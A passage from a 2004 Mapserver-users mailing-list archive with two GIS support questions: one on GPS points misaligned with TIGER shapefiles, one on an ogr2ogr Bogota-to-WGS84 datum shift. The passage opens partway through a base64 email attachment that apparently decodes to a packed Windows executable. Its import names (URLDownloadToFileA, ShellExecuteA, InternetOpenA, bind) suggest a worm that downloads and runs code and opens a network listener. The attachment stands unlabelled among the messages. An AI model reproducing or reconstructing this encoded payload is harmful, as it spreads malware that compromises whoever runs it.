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 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAMAAAAgAACADgAAAGAAAIAAAAAA AAAAAAAAAAAAAAEAAQAAADgAAIAAAAAAAAAAAAAAAAAAAAEAAAAAAFAAAACk8AAA6AIAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAABAAEAAAB4AACAAAAAAAAAAAAAAAAAAAABAAAAAACQAAAA kPMAABQAAAAAAAAAAAAAAKDAAAAoAAAAIAAAAEAAAAABAAQAAAAAAIACAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAgAAAgAAAAICAAIAAAACAAIAAgIAAAICAgADAwMAAAAD/AAD/AAAA//8A /wAAAP8A/wD//wAA////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHd3d3 d3d3AAAAAAAAAAAAB4iIiIiIhwAAAAAAAAAAAAc4iDM4iDcAAAAAAAAAAAAHs4MAA4OHAAAA AAAAAAAAB/8w/7A4hwAAAAAAAAAAAAe4D7//A4cAAAAAAAAAAAAHgL//v/A3AAAAAAAAAAAA Bw//v/+/AwAAAAAAAAAAAAf/v/+//7AAAAAAAAAAAAAHd3d3d3d3AAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA//////////////// //////////////////////////////////////////////////////////////////////// ////////gAH//4AB//+AAf//gAH//4AB//+AAf//gAH//4AB//+AAf//gAH//4AB//////// //////////+IwwAAAAABAAEAICAQAAEABADoAgAAAQAAAAAAAAAAAAAAAADY9AAAgPQAAAAA AAAAAAAAAAAAAOX0AACQ9AAAAAAAAAAAAAAAAAAA8vQAAJj0AAAAAAAAAAAAAAAAAAD89AAA oPQAAAAAAAAAAAAAAAAAAAb1AACo9AAAAAAAAAAAAAAAAAAAEvUAALD0AAAAAAAAAAAAAAAA AAAe9QAAuPQAAAAAAAAAAAAAAAAAACn1AADA9AAAAAAAAAAAAAAAAAAANPUAAMj0AAAAAAAA AAAAAAAAAABA9QAA0PQAAAAAAAAAAAAAAAAAAAAAAAAAAAAATPUAAFr1AABq9QAAAAAAAHj1 AAAAAAAAhvUAAAAAAACQ9QAAAAAAAJ71AAAAAAAArvUAAAAAAAC49QAAAAAAAMz1AAAAAAAA 2PUAAAAAAADo9QAAAAAAAEtFUk5FTDMyLkRMTABhZHZhcGkzMi5kbGwAZ2RpMzIuZGxsAG9s ZTMyLmRsbABTSEVMTDMyLmRsbABzaGx3YXBpLmRsbAB1cmxtb24uZGxsAHVzZXIzMi5kbGwA d2luaW5ldC5kbGwAd3NvY2szMi5kbGwAAABMb2FkTGlicmFyeUEAAEdldFByb2NBZGRyZXNz AABFeGl0UHJvY2VzcwAAAFJlZ0Nsb3NlS2V5AAAARGVsZXRlREMAAENvSW5pdGlhbGl6ZQAA U2hlbGxFeGVjdXRlQQAAAFN0ckR1cEEAAABVUkxEb3dubG9hZFRvRmlsZUEAAHdzcHJpbnRm QQAAAEludGVybmV0T3BlbkEAAABiaW5kAAAAAAAAAAAAAAAAAAAAAAAAi5IcVAGzFG0Hr3sm o00gxpmboFU6KINJKk6iW4scFSifX79dOg62d1M1HIA4pmORtG5xtpdJY5GfiEhZNRRpMjVt LLxSc2vBkCAVf38TGHZFqS92gz/HcB92KIQLvKutGMGWNQoYhZNhw3UWB2kOWAslIIuJRplP rqyLDJBsk7WOTbq9aSyAPimpIXWFRLV6eXKrhKA1BQaPbsR9RrWQJlWrXid7ajdTFzxQP2xX bqOZbHa6xUUhx6ynHUqah2ihH2lqsGNMNsVfPDZ6hcRoO3XGeQkkeZAqtCONakt0G14LRI2S uaw/kRNCXnp7qDwCKWgkhCxRYbV8EreQZGewRBHBwmkheoolt7ZNr5ZqP4qwdk81SqpPOYNy kTkpllbFNA6NPDiXqxxfCa0PPTMRhrdmupdlEjUEaaQMa0eMwZwvuVFmp404iL2dXwGQrANF BhFoWCZEAE5pAiW4T02BaXSdvR5efQyQmVWTBElAAj2/xWqQmZossZezpCSMsGuhbWeTdn8g ik1BfJEmwEl2pFZJCz6ffRE/XoedumhyS5lRGVgiSIZwrBFAI6S+epu2LosjwH2MMlp9oGFi Qk6xMiQYj1W8GrY8BQ10rAVmizxNbZO2OVm3pBGrorEkqRWhWwF7aq4/xhOPRi6OIrY9GpCd X7pnrTGRoHNxabZqLSZyk8eGIUFyp7gsAAtvUDYgIz56uH+ya3+vvp6FX8NaNRg2Al27QQGd Xng+JpWBXpawhL5iACZ1WihUi2RatD8tgTOBnT+AC1IhfId0olx6ZWWON3Z6AZAmqjOVfB5v sXcCAZlEeMA/ScccmYh6MFBtwXMstCXDcQVTACVdaSymIU1UvMdcEE+9nQ6SARsqNDwPAGyl DLSOI8ZjXEsDiSOxuz+jKpVgmFQjpwFddZovHnAfOCCrTC5FOMQrUUpaHcOoCjDHIGNGZ5cF hL+BWLoHQIZIW2I6MX6tA6Acih8mG21bbgtKiCV7mrCDZQJZu29DF4Q9cY5RCJsbeUANSmkz vjFhGDMtkSJ4k2BhgbcQSQsLYZCYcgGLM1sSvjVJnriecZ1RV2xGZK5KKzODO0afHRKmqjlf oIFfpTZwgpYydxYwRCGLYRdeT0IbEZVjtjtVJbNEYpmPPUktqocyNIrDuKWypb8qPAtmLw6u tF/HBrmCqqR4B6KAM2eIuyVJq7IsG8E4oIsQhZmiSJKvj4oOcMGRlG2srXqknQsIOrIGD3Ew dXCVcIY2q6yMZxEho1oICFGgrL2as48ZhjqDEzOqwVCSQZZprZw/WK1tZmFajgijqhEaYXcj rAMqlFV3mZUAc3WsjLQFZBuprICSNmQmOXx9uj4PtVEvxwkiUzBKfgoNbixWTGCcCGWYv6UT F1Fz ----------fmooqmztkmweooqecsna-- From lsroderman at gmail.com Thu Jun 3 16:53:09 2004 From: lsroderman at gmail.com (Leah Roderman) Date: Thu, 3 Jun 2004 16:53:09 -0700 Subject: [Mapserver-users] projection issues Message-ID: I always tangle with projection issues and then forget my solutions. Problem: My coordinates are misaligned with my TIGER shapefiles. The long explanation: I am using TIGER '90 polygons and line features. Atop these, I am displaying points used by taking GPS readings, saving them in Postgres, and retrieving them via PostGIS. The points I have mapped are consistently and slightly off where they should be on the map. I have also noticed that coordinates I have obtained via maporama.com also have the same problem. The offset ratio is the same regardless of what zoom the map is in or the source of the coords. I decided it is unlikely TIGER is incorrect, and more likely I have a projection problem, meaning that I am not projecting the TIGER data to the same system as my coordinates. The thing is, no matter how I fuss with my projection object (setting at map level, setting at layer level), I don't see any changes. If I remove the projection altogether, I see nothing change. Configuration: Basic CGI mapserver, running on Linux RedHat 9.2, PostgreSQL 7.3.2, 0.8.1, PROJ-4.4.7. MapServer version 4.0.1 OUTPUT=PNG OUTPUT=JPEG OUTPUT=WBMP OUTPUT=PDF SUPPORTS=PROJ SUPPORTS=FREETYPE SUPPORTS=WMS_SERVER INPUT=EPPL7 INPUT=JPEG INPUT=POSTGIS INPUT=OGR INPUT=GDAL INPUT=SHAPEFILE I am collecting GPS data using a Garmin etrex Vista. The export file I generate for coordinates includes "Datum WGS 84" at top. My understanding of TIGER is that it is not in any projection (based on http://www.census.gov/geo/www/tlmetadata/metadata.html). The map can be viewed at http://www.oaklandarttrust.com/cgi-bin/mapserv?map=alameda.map&mode=browse&layer=artwork&layer=city_names. The map file continues to grow, but an excerpt is here with some examples (note I've experimented with projection reference to epsg and by specifying): ... # extent determined using ogrinfo EXTENT -122.341625 37.663501 -122.087752 37.917356 SHAPEPATH "/home/arttrust/oaklandarttrust.com/web/artmap/data" IMAGECOLOR 183 201 230 SYMBOLSET "oakland.sym" FONTSET "/home/arttrust/oaklandarttrust.com/web/artmap/fonts/fonts.list" UNITS dd # UTM N10 PROJECTION "init=epsg:32610" END ... LAYER NAME "Alameda County" DATA tgr06001cty00 STATUS DEFAULT TYPE POLYGON PROJECTION "proj=utm" "ellps=WGS84" "zone=10" "north" "no_defs" END CLASSITEM "COUNTY" CLASS NAME "Alameda County" EXPRESSION /./ COLOR 171 186 173 END # class END # layer ... Lastly, proj works fine when invoked from command line e.g. # proj -V +proj=aea +ellps=WGS84 +datum=NAD27 +lon_0=-120.0000 +lat_0=0 +lat_1=34. #Albers Equal Area # Conic Sph&Ell # lat_1= lat_2= # +proj=aea +ellps=WGS84 +datum=NAD27 +lon_0=-120.0000 +lat_0=0 +lat_1=34. [etc.] ... Thanks for any advice that might help with debugging! From jaime at maintask.com Thu Jun 3 17:22:22 2004 From: jaime at maintask.com (=?ISO-8859-1?Q?Jaime_Mej=EDa?=) Date: Thu, 03 Jun 2004 19:22:22 -0500 Subject: [Mapserver-users] ogr2ogr srs In-Reply-To: <40BE7092.7060806@maintask.com> References: <40BE7092.7060806@maintask.com> Message-ID: <40BFC0BE.9030205@maintask.com> This is a multi-part message in MIME format. --------------020905060205030103070900 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 8bit Jaime Mej?a wrote: > Hi all, > > We have converted an Arc/Info coverage in BOGOTA DATUM to SHP in WGS84 > DATUM through OGR with the following command: > ogr2ogr -s_srs merc_bogota -t_srs wgs84 vias_cobertura /BIN/vias > where the file merc_bogota contains the following line with the required > parameters to perform the transformation from BOGOTA DATUM to WGS84 > DATUM: > +proj=tmerc +lat_0=4.599047222 +lon_0=-74.080916667 +k=1.000000 > +x_0=1000000.000 +y_0=1000000.000 +ellps=intl > +towgs84=307,304,-318,0,0,0,0 > and the file wgs84 contains the line: > +proj=latlong +datum=WGS84 > We have made a sampling using a GPS with WGS84 DATUM and we generated a > shape called "vias_gps". > When we overlaps vias_cobertura and vias_gps we found a difference of > +/-500m. > On the other hand, we converted the Arc/Info coverage to shape with the > same DATUM (BOGOTA), then we loaded it into PostGIS using shp2psql with > SRID=2 and from PostGis we transformated from BOGOTA DATUM to WGS84 > DATUM with the function: transform(vias,1). > When we overlaps this with vias_gps, everything is fine. > In the PostGIS table spatial_ref_sys, we can find BOGOTA and WGS84 DATUM > as follows: > > srid | auth_name | auth_srid | srtext | proj4text > > 2 | EPSG | 21892 | PROJCS["Bogota / Colombia Bogota > zone",GEOGCS["Bogota",DATUM["Bogota",SPhemosROID["International > 1924",6378388,297]],PRIMEM["Greenwich",0],UNIT["degree",0.0174532925199433]],PROJECTION["Transverse_Mercator"],PARAMETER["latitude_of_origin",4.59904722222222],PARAMETER["central_meridian",-74.0809166666667],PARAMETER["scale_factor",1],PARAMETER["false_easting",1000000],PARAMETER["false_northing",1000000],UNIT["metre",1]] > > | proj=tmerc +ellps=intl +k=1 +x_0=1000000 +y_0=1000000 > +lon_0=-74.0809166666667 +lat_0=4.59904722222222 > +towgs84=307,304,-318,0,0,0,0 +units=m > > 1 | EPSG | 4326 | GEOGCS["WGS > 84",DATUM["WGS_1984",SPhemosROID["WGS > 84",6378137,298.257223563]],PRIMEM["Greenwich",0],UNIT["degree",0.0174532925199433]] > > > It seems like ogr2ogr does not recognize the last parameters' part: > "+towgs84=307,304,-318,0,0,0,0" > > There is something wrong with the command or with the projection's > parameters? > > Thanks a lot, Now I've tryed with the following command: ogr2ogr -s_srs EPSG:21892 -t_srs EPSG:4326 vias_cobertura /BIN/vias Same results. Please, some help. Best regards, -- Cordial saludo, Jaime Mej?a Molina *MAIN TASK* Tel?fono: 218 46 08 Direcci?n: Diagonal 85 # 28-39 Bogota D. C., Colombia e-mail: jaime at main-task.com website: www.main-task.com --------------020905060205030103070900 Content-Type: multipart/related; boundary="------------040805000208060204060905" --------------040805000208060204060905 Content-Type: text/html; charset=us-ascii Content-Transfer-Encoding: 7bit Jaime Mejía wrote:
Hi all,

We have converted an Arc/Info coverage in BOGOTA DATUM to SHP in WGS84
DATUM through OGR with the following command:
ogr2ogr  -s_srs merc_bogota -t_srs wgs84  vias_cobertura  /BIN/vias
where the file merc_bogota contains the following line with the required
parameters to perform the transformation from BOGOTA DATUM to WGS84 DATUM:
+proj=tmerc +lat_0=4.599047222 +lon_0=-74.080916667 +k=1.000000
+x_0=1000000.000 +y_0=1000000.000 +ellps=intl +towgs84=307,304,-318,0,0,0,0
and the file wgs84 contains the line:
+proj=latlong +datum=WGS84
We have made a sampling using a GPS with WGS84 DATUM and we generated a
shape called "vias_gps".
When we overlaps vias_cobertura and vias_gps we found a difference of
+/-500m.
On the other hand, we converted the Arc/Info coverage to shape with the
same DATUM (BOGOTA), then we loaded it into PostGIS using shp2psql with
SRID=2 and from PostGis we transformated from BOGOTA DATUM to WGS84
DATUM with the function: transform(vias,1).
When we overlaps this with vias_gps, everything is fine.
In the PostGIS table spatial_ref_sys, we can find BOGOTA and WGS84 DATUM
as follows:

 srid | auth_name | auth_srid | srtext | proj4text

       2 | EPSG      |     21892 | PROJCS["Bogota / Colombia Bogota
zone",GEOGCS["Bogota",DATUM["Bogota",SPhemosROID["International
1924",6378388,297]],PRIMEM["Greenwich",0],UNIT["degree",0.0174532925199433]],PROJECTION["Transverse_Mercator"],PARAMETER["latitude_of_origin",4.59904722222222],PARAMETER["central_meridian",-74.0809166666667],PARAMETER["scale_factor",1],PARAMETER["false_easting",1000000],PARAMETER["false_northing",1000000],UNIT["metre",1]]
| proj=tmerc +ellps=intl +k=1 +x_0=1000000 +y_0=1000000
+lon_0=-74.0809166666667 +lat_0=4.59904722222222
+towgs84=307,304,-318,0,0,0,0 +units=m

   1 | EPSG      |      4326 | GEOGCS["WGS
84",DATUM["WGS_1984",SPhemosROID["WGS
84",6378137,298.257223563]],PRIMEM["Greenwich",0],UNIT["degree",0.0174532925199433]]

It seems like ogr2ogr does not recognize the last parameters' part:
"+towgs84=307,304,-318,0,0,0,0"

There is something wrong with the command or with the projection's
parameters?

Thanks a lot,
Now I've tryed with the following command:

ogr2ogr  -s_srs EPSG:21892 -t_srs EPSG:4326 vias_cobertura  /BIN/vias
Same results.

Please, some help.

Best regards,

--

Cordial saludo,

Jaime Mejía Molina
MAIN TASK
Teléfono: 218 46 08
Dirección: Diagonal 85 # 28-39

Bogota D. C., Colombia
e-mail: jaime at main-task.com
website: www.main-task.com
--------------040805000208060204060905 Content-Type: image/jpeg; name="Graphic1" Content-Transfer-Encoding: base64 Content-ID: Content-Disposition: inline; filename="Graphic1" /9j/4AAQSkZJRgABAgECWAJYAAD/7QqeUGhvdG9zaG9wIDMuMAA4QklNA+0AAAAAABACWAAA AAEAAgJYAAAAAQACOEJJTQQNAAAAAAAEAAAAeDhCSU0D8wAAAAAACAAAAAAAAAAAOEJJTQQK AAAAAAABAAA4QklNJxAAAAAAAAoAAQAAAAAAAAACOEJJTQP1AAAAAABIAC9mZgABAGxmZgAG AAAAAAABAC9mZgABAKGZmgAGAAAAAAABADIAAAABAFoAAAAGAAAAAAABADUAAAABAC0AAAAG AAAAAAABOEJJTQP4AAAAAABwAAD/////////////////////////////A+gAAAAA//////// /////////////////////wPoAAAAAP////////////////////////////8D6AAAAAD///// ////////////////////////A+gAADhCSU0ECAAAAAAAEAAAAAEAAAJAAAACQAAAAAA4QklN BBQAAAAAAAQAAAABOEJJTQQMAAAAAAkNAAAAAQAAAEsAAABGAAAA5AAAPlgAAAjxABgAAf/Y /+AAEEpGSUYAAQIBAEgASAAA/+4ADkFkb2JlAGSAAAAAAf/bAIQADAgICAkIDAkJDBELCgsR FQ8MDA8VGBMTFRMTGBEMDAwMDAwRDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAENCwsN Dg0QDg4QFA4ODhQUDg4ODhQRDAwMDAwREQwMDAwMDBEMDAwMDAwMDAwMDAwMDAwMDAwMDAwM DAwMDAwM/8AAEQgARgBLAwEiAAIRAQMRAf/dAAQABf/EAT8AAAEFAQEBAQEBAAAAAAAAAAMA AQIEBQYHCAkKCwEAAQUBAQEBAQEAAAAAAAAAAQACAwQFBgcICQoLEAABBAEDAgQCBQcGCAUD DDMBAAIRAwQhEjEFQVFhEyJxgTIGFJGhsUIjJBVSwWIzNHKC0UMHJZJT8OHxY3M1FqKygyZE k1RkRcKjdDYX0lXiZfKzhMPTdePzRieUpIW0lcTU5PSltcXV5fVWZnaGlqa2xtbm9jdHV2d3 h5ent8fX5/cRAAICAQIEBAMEBQYHBwYFNQEAAhEDITESBEFRYXEiEwUygZEUobFCI8FS0fAz JGLhcoKSQ1MVY3M08SUGFqKygwcmNcLSRJNUoxdkRVU2dGXi8rOEw9N14/NGlKSFtJXE1OT0 pbXF1eX1VmZ2hpamtsbW5vYnN0dXZ3eHl6e3x//aAAwDAQACEQMRAD8A9VSSTFJTmdf6selY Prsr9a5721U1TAdY8wzc791ZvT+udUr6o3pvV6qq7LmGyiyhxLTt+nW/d+cs/wCvH1i6UcW3 pjf1jJkEFh9tTwfa91g/Pb+4uFd1PqL8hmU7IsdfWIZYSdwHkVFKfq0Og/lJ2+R+FSz8uTKA gZcdTyCXHtH2J4/6nF8/p9b7Yy1rhMqQcD3Xiw671luozLh57z/et7oP10vx23HqmTZdAHos 2gydZ3PaERlHUMef4FzGOBnGUctfoQEuP6PpqS4/A/xh9NuxnPygca5g1r1cHf8AFOaFWH1t +s2VW7OwumtOA0kiSS9zW/2v+oYj7kfPyan+jeaBkJwGLhIjxZZRxwlKXyxhOXz/AOC9yksf oXXaOr4TcmsbTO2ys8td+6teU7iFXejX9jL7vs8J93i4OD9Lif/Q9VVW3MpZbZTPvrr9V/k3 X/qtqskwuF6p9YcHGPXGm4HMud6VTACYaxgrb742/Tc9ybKVM/LcvLPIxiDIgD5RfzTjDX+7 8yNmbjZX1bzM6/CpZjtts9GtrYLoI273/Sc91jkHqWGcjB6U44bbcnIcx/oVDYC0NL3t/kV7 f3kHPAr+puBS0xVY5htdxAcXPcf85dBiv9bqOLdS0HBbjlldjjsO523btqf7/oVqMC9PCLo5 JDETlgDQzZ+C5SiOHDD24w4r+bL8/wC+0MLp+Vdl2V5dGPViCuDQ1zHva7T6e381Z9XTqavq 6X1sBdm5BqpcRLtr7PRZt0/cZuV/Bqw8HJ6ph4z7b+qZAc4b2ECCHOZ7/o7Guf8AziPl114O J0dt5Iw8FwflWtG4Nexpazdt/eucl018b+1aJGMxGJIEpYskYgSx+7HDjnlvgnKc5e7k4ccJ f5VHea6PrDh9Lox6nONZda9zAS1kH6On8hDz/rZg9OtyMEUvdbQdrNm0Mkj4+z/NUTfXi9dv 65nu9LEurFeFZyXBwa76Dfc327vpLnujXfavrILXgP8AWfY4SJiQ4tP9lLiPTSz/AM1lw8pi nCWTJGWTHgwCcqlKPu8x6smSHH/U/m5/uPU/UjCyqMOy+4FhyrPUawiIaO+v7y7Ht/ZVXp1I Fe46q9Ck4Bw8LnffZ/e/vXCOLi4uH9Hh+Tg/xH//0ej+suZm5vXaeg0ZDsOg1+rdYww50ydj YP8AJXG9T6dV0rqzKZOXWS1+1/tc6T9Gxeh/WP6s1dWezIZY7Gy6R+jvZJ052ugrFxfqPW25 t2ZkWZGQ17X7ohp2mdp3bnOUMoSJOm/XwdvkuewYccbyGEfbOPJgjD15M5/y3vR/75F1p1Zp 